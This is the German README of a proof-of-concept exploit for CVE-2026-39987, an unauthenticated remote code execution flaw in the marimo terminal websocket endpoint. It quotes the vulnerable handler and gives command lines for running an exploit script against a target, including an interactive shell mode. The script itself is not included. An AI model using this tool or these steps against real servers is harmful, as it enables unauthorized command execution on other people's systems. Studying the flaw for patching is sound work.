
CVE-2026-39987 for marimo 0.20.4 PoC
Info:
CVE-2026-39987 ist eine kritische Sicherheitslücke, die eine Remote-Code-Ausführung (RCE) ohne Authentifizierung in Marimo (Versionen vor 0.23.0) ermöglicht.
Warum es funktioniert:
Der /terminal/ws-Endpunkt ist ohne jegliche Authentifizierung erreichbar.
In der Datei: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
Wie Sie sehen können, gibt es keinerlei Authentifizierungsprüfung, bevor eine PTY-Shell erstellt wird.
python3 CVE-2026-39987.py example.com -c 'whoami'
Falls nichts zurückkommt und das Ziel SSL verwendet, verwenden Sie die Argumente --max-wait und --any-ssl.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
Es gibt auch einen interaktiven Modus
python3 CVE-2026-39987.py example.com -i --any-ssl